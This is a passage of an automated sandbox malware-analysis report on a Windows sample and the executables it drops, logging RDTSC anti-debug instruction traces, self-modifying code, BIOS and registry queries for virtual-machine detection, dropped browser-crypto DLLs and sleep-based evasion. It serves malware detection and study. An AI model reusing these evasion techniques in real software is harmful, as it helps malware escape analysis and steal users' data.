Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D0544F second address: D05454 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D05454 second address: D05499 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD4BCDD307Dh 0x00000008 jmp 00007FD4BCDD3077h 0x0000000d push edx 0x0000000e jp 00007FD4BCDD3066h 0x00000014 pop edx 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pushad 0x00000018 jne 00007FD4BCDD3068h 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FD4BCDD3071h 0x00000025 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D05499 second address: D054B9 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD4BD4D2D46h 0x00000008 js 00007FD4BD4D2D46h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 js 00007FD4BD4D2D4Ch 0x00000016 jns 00007FD4BD4D2D46h 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D054B9 second address: D054BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D399E5 second address: D399E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D399E9 second address: D399ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D399ED second address: D39A25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jo 00007FD4BD4D2D46h 0x0000000d jo 00007FD4BD4D2D46h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jc 00007FD4BD4D2D4Ch 0x0000001c jno 00007FD4BD4D2D46h 0x00000022 jmp 00007FD4BD4D2D56h 0x00000027 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D39A25 second address: D39A30 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jc 00007FD4BCDD3066h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D39B84 second address: D39B88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D39B88 second address: D39B9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push edi 0x0000000a pop edi 0x0000000b je 00007FD4BCDD3066h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D39B9A second address: D39BBC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop esi 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 jl 00007FD4BD4D2D46h 0x0000000f pop ebx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jnc 00007FD4BD4D2D46h 0x0000001c jne 00007FD4BD4D2D46h 0x00000022 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D39BBC second address: D39BC7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D39BC7 second address: D39BEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4BD4D2D58h 0x00000009 je 00007FD4BD4D2D46h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D39BEA second address: D39BF1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D39EB7 second address: D39ED2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD4BD4D2D55h 0x0000000b rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D3A043 second address: D3A04F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FD4BCDD3066h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D3A04F second address: D3A055 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D3A055 second address: D3A07E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jno 00007FD4BCDD3073h 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jp 00007FD4BCDD3066h 0x00000016 ja 00007FD4BCDD3066h 0x0000001c rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D3A07E second address: D3A082 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D3A082 second address: D3A088 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D3A088 second address: D3A08E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D3A08E second address: D3A094 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D3A094 second address: D3A09A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D3A09A second address: D3A0AB instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD4BCDD3066h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D3A1E8 second address: D3A1EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D3A1EC second address: D3A208 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d jmp 00007FD4BCDD306Fh 0x00000012 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D3A208 second address: D3A212 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D3A212 second address: D3A216 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D3A216 second address: D3A21C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D3BEEF second address: D3BF40 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4BCDD3073h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jne 00007FD4BCDD306Eh 0x00000013 mov eax, dword ptr [eax] 0x00000015 jne 00007FD4BCDD307Ch 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f push eax 0x00000020 push edx 0x00000021 push ebx 0x00000022 pushad 0x00000023 popad 0x00000024 pop ebx 0x00000025 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D3C079 second address: D3C09D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FD4BD4D2D46h 0x0000000a popad 0x0000000b pop edi 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jns 00007FD4BD4D2D55h 0x00000015 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D3C09D second address: D3C0B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4BCDD3070h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D3C0B1 second address: D3C0B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D3C22E second address: D3C233 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D3CB7C second address: D3CB8B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 ja 00007FD4BD4D2D46h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D3CC02 second address: D3CC06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D3CC06 second address: D3CC10 instructions: 0x00000000 rdtsc 0x00000002 je 00007FD4BD4D2D46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D3CC10 second address: D3CC6A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FD4BCDD3077h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007FD4BCDD3068h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 00000019h 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 mov edi, dword ptr [ebp+122D2AD8h] 0x0000002c mov dword ptr [ebp+122D2D51h], esi 0x00000032 push eax 0x00000033 push eax 0x00000034 push edx 0x00000035 jns 00007FD4BCDD306Ch 0x0000003b rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D3CEBC second address: D3CEC1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D3CEC1 second address: D3CED4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FD4BCDD3066h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D3CF77 second address: D3CF7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D3E093 second address: D3E12F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebx 0x0000000b call 00007FD4BCDD3068h 0x00000010 pop ebx 0x00000011 mov dword ptr [esp+04h], ebx 0x00000015 add dword ptr [esp+04h], 00000018h 0x0000001d inc ebx 0x0000001e push ebx 0x0000001f ret 0x00000020 pop ebx 0x00000021 ret 0x00000022 mov dword ptr [ebp+122D1BD1h], edx 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push ecx 0x0000002d call 00007FD4BCDD3068h 0x00000032 pop ecx 0x00000033 mov dword ptr [esp+04h], ecx 0x00000037 add dword ptr [esp+04h], 0000001Ch 0x0000003f inc ecx 0x00000040 push ecx 0x00000041 ret 0x00000042 pop ecx 0x00000043 ret 0x00000044 mov di, bx 0x00000047 push 00000000h 0x00000049 mov esi, dword ptr [ebp+122D3626h] 0x0000004f xchg eax, ebx 0x00000050 jg 00007FD4BCDD307Dh 0x00000056 push eax 0x00000057 pushad 0x00000058 jmp 00007FD4BCDD3075h 0x0000005d push eax 0x0000005e push edx 0x0000005f jnc 00007FD4BCDD3066h 0x00000065 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D3F21E second address: D3F291 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a or si, 3250h 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push edi 0x00000014 call 00007FD4BD4D2D48h 0x00000019 pop edi 0x0000001a mov dword ptr [esp+04h], edi 0x0000001e add dword ptr [esp+04h], 0000001Bh 0x00000026 inc edi 0x00000027 push edi 0x00000028 ret 0x00000029 pop edi 0x0000002a ret 0x0000002b mov dword ptr [ebp+122D17EBh], eax 0x00000031 mov edi, 44D06EF8h 0x00000036 push 00000000h 0x00000038 mov dword ptr [ebp+122D182Eh], eax 0x0000003e xchg eax, ebx 0x0000003f pushad 0x00000040 pushad 0x00000041 pushad 0x00000042 popad 0x00000043 jmp 00007FD4BD4D2D4Fh 0x00000048 popad 0x00000049 jmp 00007FD4BD4D2D4Ch 0x0000004e popad 0x0000004f push eax 0x00000050 push edx 0x00000051 push eax 0x00000052 push edx 0x00000053 je 00007FD4BD4D2D46h 0x00000059 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D3F291 second address: D3F295 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D40754 second address: D40758 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D40758 second address: D40762 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D40762 second address: D40766 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D412E5 second address: D41379 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD4BCDD3066h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007FD4BCDD306Ch 0x00000010 jng 00007FD4BCDD3066h 0x00000016 popad 0x00000017 mov dword ptr [esp], eax 0x0000001a push 00000000h 0x0000001c push edx 0x0000001d call 00007FD4BCDD3068h 0x00000022 pop edx 0x00000023 mov dword ptr [esp+04h], edx 0x00000027 add dword ptr [esp+04h], 0000001Ah 0x0000002f inc edx 0x00000030 push edx 0x00000031 ret 0x00000032 pop edx 0x00000033 ret 0x00000034 jnl 00007FD4BCDD3071h 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push ecx 0x0000003f call 00007FD4BCDD3068h 0x00000044 pop ecx 0x00000045 mov dword ptr [esp+04h], ecx 0x00000049 add dword ptr [esp+04h], 00000016h 0x00000051 inc ecx 0x00000052 push ecx 0x00000053 ret 0x00000054 pop ecx 0x00000055 ret 0x00000056 js 00007FD4BCDD306Ch 0x0000005c sub dword ptr [ebp+122D2392h], edx 0x00000062 push 00000000h 0x00000064 call 00007FD4BCDD306Ch 0x00000069 mov esi, dword ptr [ebp+122D29ECh] 0x0000006f pop esi 0x00000070 push eax 0x00000071 push edx 0x00000072 push eax 0x00000073 push edx 0x00000074 pushad 0x00000075 popad 0x00000076 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D41379 second address: D4137D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D4295C second address: D42961 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D445CF second address: D445E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4BD4D2D50h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	RDTSC instruction interceptor: First address: D445E5 second address: D445ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 46F94F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5E0DBE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 608981 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6074DC instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 696863 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Special instruction interceptor: First address: B8F001 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Special instruction interceptor: First address: B8E92A instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Special instruction interceptor: First address: D60EF5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: EF001 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: EE92A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 2C0EF5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Special instruction interceptor: First address: A8E783 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Special instruction interceptor: First address: A8E7AC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Special instruction interceptor: First address: C2B352 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Special instruction interceptor: First address: C4EB16 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Special instruction interceptor: First address: C39784 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Special instruction interceptor: First address: CB0807 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Special instruction interceptor: First address: CFAAD7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Special instruction interceptor: First address: CFABC5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Special instruction interceptor: First address: E99213 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Special instruction interceptor: First address: E97D77 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Special instruction interceptor: First address: EBF920 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Special instruction interceptor: First address: F2DCBC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Special instruction interceptor: First address: 2CF94F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Special instruction interceptor: First address: 440DBE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Special instruction interceptor: First address: 468981 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Special instruction interceptor: First address: 4674DC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Special instruction interceptor: First address: 4F6863 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsFIDGDAKFHI.exe

Code function: 28_2_054F0DA5 rdtsc

28_2_054F0DA5

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[2].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1009655001\38e11d9cb7.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe

API coverage: 5.2 %

Source: C:\Users\user\Desktop\file.exe TID: 7548	Thread sleep time: -46023s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7516	Thread sleep count: 48 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7516	Thread sleep time: -96048s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7500	Thread sleep count: 44 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7500	Thread sleep time: -88044s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7892	Thread sleep time: -48000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7512	Thread sleep count: 50 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7512	Thread sleep time: -100050s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7540	Thread sleep count: 49 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7540	Thread sleep time: -98049s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7528	Thread sleep count: 53 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7528	Thread sleep time: -106053s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8456	Thread sleep time: -40020s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8500	Thread sleep time: -42021s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8384	Thread sleep count: 155 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8384	Thread sleep time: -4650000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8792	Thread sleep time: -40020s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8452	Thread sleep time: -32016s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8208	Thread sleep time: -36018s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8992	Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8384	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe TID: 6604	Thread sleep time: -120000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CE7EBF0 PR_GetNumberOfProcessors,GetSystemInfo,

1_2_6CE7EBF0

